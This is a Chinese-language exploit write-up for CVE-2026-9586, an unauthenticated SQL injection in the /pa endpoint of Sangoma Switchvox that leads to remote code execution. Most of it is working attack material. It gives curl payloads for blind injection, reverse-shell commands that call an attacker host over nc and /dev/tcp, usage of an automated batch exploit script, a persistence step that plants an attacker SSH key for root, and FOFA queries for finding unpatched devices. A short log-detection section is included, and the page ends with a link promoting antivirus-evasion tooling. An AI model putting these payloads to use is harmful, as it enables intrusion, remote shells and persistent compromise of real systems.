CVE-2026-9586:Sangoma Switchvox 未授权 SQL 注入导致远程代码执行

CVE-2026-9586:Sangoma Switchvox 未授权 SQL 注入导致远程代码执行

漏洞简介

Sangoma Switchvox SMB Edition 是一款面向中小企业的 VoIP 电话管理系统。CVE-2026-9586 是其中一处未授权 SQL 注入漏洞,攻击者无需任何认证即可通过 /pa 端点发送恶意 XML 请求,将用户可控的 PhoneIP 字段直接拼接进 PostgreSQL 查询语句中。

由于后端 PostgreSQL 用户具有超级用户权限(或拥有 pg_execute_server_program 权限),攻击者可通过 COPY ... TO PROGRAM 语法实现任意命令执行,最终获取服务器 Shell。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-9586

受影响产品

Sangoma Switchvox SMB Edition

受影响组件

/pa 端点(PhoneAppsHandler.pm::tel_notify()

受影响版本

8.3 (build 104997) ~ 8.4.0.1

漏洞类型

SQL 注入

漏洞原理

漏洞根因

漏洞位于 PhoneAppsHandler.pm 模块的 tel_notify() 函数中。数据流如下:

CVE-2026-9586 攻击链流程图 攻击者通过 /pa 端点发送恶意 XML,利用 SQL 注入实现远程代码执行 七度光 www.qdg.tw CVE-2026-9586 攻击链流程图 Sangoma Switchvox 未授权 SQL 注入 → 远程代码执行 攻击者 未授权访问 POST /pa 恶意 XML 请求 Switchvox /pa 端点处理 提取 PhoneIP 无参数化处理 SQL 注入 COPY TO PROGRAM PostgreSQL Superuser 权限 远程代码执行 获取 Shell 权限 漏洞位置 PhoneAppsHandler.pm::tel_notify() POSTDATA → XML → SQL 注入条件 • 无认证要求 • PostgreSQL superuser Powered by 七度光 | www.qdg.tw

核心代码流程:

步骤

位置

行为

1

pre_cmd() L70

读取 POST Body,存储在 POSTDATA CGI 参数

2

pre_cmd() L74

仅校验请求以 <PolycomIPPhone> 开头,无内容过滤

3

pre_cmd() L78

存储为 notification_xml,命令设为 tel_notify

4

tel_notify() L180

使用 XML::Simple::XMLin() 解析 XML

5

tel_notify() L199/210

提取 PhoneIP 字段,无验证

6

tel_notify() L220-225

PhoneIP 直接拼接到 SQL 字符串(单引号上下文)

7

tel_notify() L226

$db->query("sql", $sql) 以超级用户身份执行

关键问题:

  • 输入未经任何过滤或参数化处理

  • PostgreSQL 数据库账户拥有超级用户权限

  • 单引号拼接上下文允许闭合后注入任意 SQL

理解漏洞机制

正常请求结构

Switchvox 的 /pa 端点用于处理 IP 电话通知,正常请求格式如下:

POST /pa HTTP/1.1
Host: target.local
Content-Type: application/xml
User-Agent: PolycomSoundPointIP-SPIP_UA

<PolycomIPPhone>
  <Menu>
    <Title>test</Title>
  </Menu>
</PolycomIPPhone>

服务端处理流程:

POST Body → pre_cmd() 校验开头是否为 <PolycomIPPhone>
          → tel_notify() 解析 XML 提取 PhoneIP
          → 直接拼接进 SQL 查询(无过滤)
          → PostgreSQL 执行

注入原理

服务端执行的 SQL 类似:

SELECT proposed_extension FROM auto_phone_config 
WHERE ip_address = 'NORMAL_PHONE_IP';

当攻击者控制 PhoneIP 时,可构造:

'正常IP'; DROP TABLE users; --

闭合单引号后,追加任意 SQL 语句,最后用 -- 注释掉后续内容。

漏洞复现

  • 准备环境

项类别

详细内容

目标设备

Sangoma Switchvox SMB Edition 8.3 / 8.4.0.1

攻击机

任意可访问目标网络的机器

Python 版本

Python 3.8+

网络条件

HTTP/HTTPS 可达 /pa 端点

复现步骤

步骤 1:确认目标可访问

# 探测目标是否在线
curl -v http://target.local/pa

预期响应:

  • 返回 200 或 405(Method Not Allowed)→ 端点存在

  • 返回 404 → 可能已修复或路径不同

  • 连接超时 → 防火墙拦截或主机离线

步骤 2:发送正常请求验证端点

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
  -d '<PolycomIPPhone><Menu><Title>test</Title></Menu></PolycomIPPhone>'

响应分析:

  • 正常响应:XML 或 HTML 页面(可能是空内容或错误信息)

  • 错误响应:SQL 错误信息 → 可直接确认存在注入

步骤 3:时间盲注探测(核心检测)

使用 pg_sleep() 延迟函数判断是否存在注入:

Payload A:根属性注入

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
  -d '<PolycomIPPhone PhoneIP="10.0.0.1"><Menu><Title>t</Title></Menu></PolycomIPPhone>'

记录响应时间(应 < 1秒)

Payload B:注入 pg_sleep

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -H "User-Agent: PolycomSoundPointIP-SPIP_UA" \
  -d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(3);--"><Menu><Title>t</Title></Menu></PolycomIPPhone>'

判断标准:

  • 响应时间 ≥ 3 秒 → 存在漏洞(pg_sleep 执行成功)

  • 响应时间 < 1 秒 → 可能已修复或不存在注入

步骤 4:尝试三种 XML 结构

由于官方公告未披露具体 XML 结构,需逐一测试:

结构 A:根属性

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(2);--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'

结构 B:RegistrationData 属性

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -d '<PolycomIPPhone><RegistrationData PhoneIP="10.0.0.1'"'"'; SELECT pg_sleep(2);--"/></PolycomIPPhone>'

结构 C:子元素

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -d '<PolycomIPPhone><PhoneIP>10.0.0.1'"'"'; SELECT pg_sleep(2);--</PhoneIP></PolycomIPPhone>'

至少有一种结构会触发延迟响应。

步骤 5:验证数据库用户权限

通过以下 payload 确认 PostgreSQL 是否为 superuser:

curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; SELECT current_user, session_user;--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'
  • 返回 postgresswitchvox → 高权限,可执行 RCE

  • 返回普通用户 → RCE 可能受限

步骤 6:远程代码执行

前提条件: PostgreSQL 用户为 superuser 或拥有 pg_execute_server_program

反弹 Shell

# 攻击机监听
nc -lvnp 4444
# 发送 RCE payload
curl -X POST http://target.local/pa \
  -H "Content-Type: application/xml" \
  -d '<PolycomIPPhone PhoneIP="10.0.0.1'"'"'; COPY (SELECT '') TO PROGRAM '"'"'nc 攻击机IP 4444 -e /bin/bash'"'"';--"><Menu><Title>x</Title></Menu></PolycomIPPhone>'

注意: 部分系统 -e 选项不可用,可改用:

# 替代方案:使用 bash -i
...'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'...

或者直接用我提供的自动化 PoC 脚本

# 检查模式
python3 exp_switchvox.py check https://target.local/pa
# 批量检测
python3 exp_switchvox.py check targets.txt -o result.json --threads 5
# RCE 模式
python3 exp_switchvox.py exploit https://target.local/pa --cmd 'whoami > /tmp/pwned'

利用后验证

检查日志痕迹

查看 /var/log/switchvox/db-quirks.log

grep -i "COPY.*TO PROGRAM" /var/log/switchvox/db-quirks.log
grep -i "pg_sleep" /var/log/switchvox/db-quirks.log

典型日志样本:

SELECT proposed_extension FROM auto_phone_config 
WHERE ip_address = '10.0.0.1'; 
COPY (SELECT '') TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash';--' 
AND config_state = 'configured'

持久化访问

获取 Shell 后可添加 SSH 密钥:

mkdir -p /root/.ssh && echo 'ssh-rsa AAAA... attacker@kali' > /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys

FOFA 语法

识别 Switchvox 设备

app="Sangoma-Switchvox"

识别 /pa 端点

body="/pa" && status_code=200

组合探测/排除修复了的版本

app="Sangoma-Switchvox" && !header="Server: Sangoma_Switchvox/8.4.0.2"

利用工具下载

从云同步到内核盲区:ShieldBreak 免杀 2026-08-25